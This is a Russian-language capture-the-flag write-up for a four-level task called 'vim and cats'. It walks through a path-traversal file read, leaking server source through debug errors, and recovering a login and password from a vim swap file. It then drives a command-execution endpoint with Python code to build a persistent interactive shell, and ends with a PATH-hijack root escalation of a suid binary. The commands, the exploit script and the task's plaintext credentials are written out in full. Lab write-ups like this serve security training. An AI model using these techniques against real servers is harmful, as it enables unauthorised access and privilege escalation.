sch9_ctf_3/tasks/vim and cats/readme.md

114 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# vim and cats
Здесь разборы всех 4 уровней данного таска
Уровень 1:
> Посмотрите какие няшные котики! Посмотрите какой няшный vim! Удастся ли вам достать файл в /stage1?
Зайдём на указанный в условии сайт. Там можно увидеть видео котиков и изменённый фрагмент документации vim. Если посмотреть как загружаются видео, можно увидеть, что название файла передаётся в query string (cat_name), что сразу наталкивает на мысль о наличии здесь уязвимости local file inclusion. Чтобы проверить, укажем как имя файла с котиком `../../../../etc/passwd`. Действительно, загружается файл /etc/passwd, аналогично можно загрузить файл с флагом.
Уровень 2:
> Утащите исходный код сервера! Флаг будет там.
Изпользуя найденную нами уязвимость, зададим несуществующее имя файла. Сервер вернёт сообщение об ошибке, но, так как включён debug, ошибка покажет часть исходного кода и путь, по которому лежит сервер (/srv/server.py), а также текущую директорию сервера (/srv)
![Так это выглядит](picture1.png)
Так мы можем с помощью той же уязвимости посмотреть исходный код сервера
Уровень 3:
> Говорят, на сайте можно выполнять любой код, нужно только знать пароль!
> Хорошо что мы подслушали разговор:
>> Исправил я первую страницу, только в процессе вим крашнулся, но это непотребство я убрал!
>
> Сможете ли вы выполнить свои команды на сервере и найти флаг, находящийся в корне?
Посмотрев на "подслушанный разговор", мы узнаем что файл index.html раньше был другим, причём его исправили с помощью vim, который в процессе упал. Значит, если vim был настроен на сохранение .swp файлов, то рядом окажется .index.html.swp, из которого с помощью vim можно вытянуть старую версию файла. .index.html.swp существует, это можно узнать, используя найденную уязвимость. Скачаем файл и вытянем старую версию с помощью vim: `vim -r .index.html.swp`
В старой версии в конце файла находятся логин и пароль для пользователя www.
Анализируя код, можно узнать что на пути /5h3ll можно выполнить любую команду, если ввести логин и пароль от сайта.
Введём комманду ls / и найдём файл с флагом.
Уровень 4.
> Говорят что в /opt есть скрипт, который запускается от имени root, потому что есть suid бит. Флаг лежит в /root
В дальнейшем, нам не будет достаточно одноразового исполнения комманд, поэтому сделаем себе интерактивный терминал с помощью python 3.
Для работы на потеребуются библиотеки requests для web запросов, shlex для экранирования спецсимволов и правильной работы командной строки и urllib - нужна будет функция `urllib.parse.urlencode`, тоже для корректной работы эксплоита.
для начала, создадим объект, которым будем делать web запросы.
```python
import requests
import shlex
import urllib
s=requests.Session()
```
Чтобы не писать каждый раз сайт, путь и логин с паролем, создадим новую функцию для вызова комманды
```python
def command(c):
g=s.get('<host-of-site>/5h3ll?login=www&password=p455w0rd_v3ry_57r0n9_f0r_www-d4t4&command='+urllib.parse.quote(c))
return g.text
```
Дальше, чтобы коммандная строка была одной сессией, нужно чтобы постоянно выполнялся /bin/bash. Ввод должен быть постоянным, поэтому его будем подавать через unix канал, а вывод должен иметь возможность выводиться частично, пока в него ещё пишут, поэтому это будет просто файл.
```python
command('mkfifo /tmp/in')
command('touch /tmp/out')
```
Далее, нам понадобятся несколько параллельно работающих python (если хочется, можно реализовать то же самое через потоки/подпроцессы). Каждый будет использовать уже написанную функцию. В одном работающем python создадим ту самую сессию, с которой будет общаться эксплоит.
```python
command('cd /tmp;cat /tmp/in | /bin/bash > /tmp/out') # Работать впоследствии будем в /tmp, поэтому сразу идём туда
```
Далее, нам нужно поддерживать канал открытым, так как после одноразовой записи туда будет послан EOF и сессия прервётся. Сделать это можно потому, что unix каналы поддерживают возможность параллельной записи из нескольких источников.
```python
command('sleep 9999999 > /tmp/in')
```
В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, нужно послать её в /tmp/in и считать результат из /tmp/out.
```python
def shell():
s=''
while(1):#вечный цикл для постоянной работы интерфейса
command('echo '+shlex.quote(s)+' > /tmp/in')#Посылаем экранированную от спецсимволов команду в /tmp/in
print(command('cat /tmp/out'))#Считываем результат
s=input()#Считываем следующую команду
command('echo > /tmp/out')#Очищаем файл вывода чтобы не видеть каждый раз результата прошлых команд
```
Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером.
Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status с suid битом, а рядом можем найти исходный код программы.
```c
#include<stdlib.h>
#include<stdio.h>
int main() {
setuid(0);
setgid(0);
puts("status.txt contains status. Here it is:");
int result=system("cat status.txt");
}
```
Чтобы эксплуатировать этот бинарник, заставим его запустить bash вместо cat. Для Этого в папку /tmp скопируем файл, запускающий терминал и назовём его cat. Чтобы заставить программу исполнить его, изменим переменную окружения PATH, а чтобы запускаемый bash файл создавал командную строку, в файл /tmp/status.txt, который будет прочитан программой, запишем исполняемый файл консоли. После этого запустим cat_status.
```bash
cp /bin/bash /tmp/cat
export PATH=/tmp
echo '/bin/bash' > /tmp/status.txt
/opt/cat_status
```
Запустив /usr/bin/whoami, мы понимаем что стали root. После этого можно без труда прочитать файл флага.
Profit!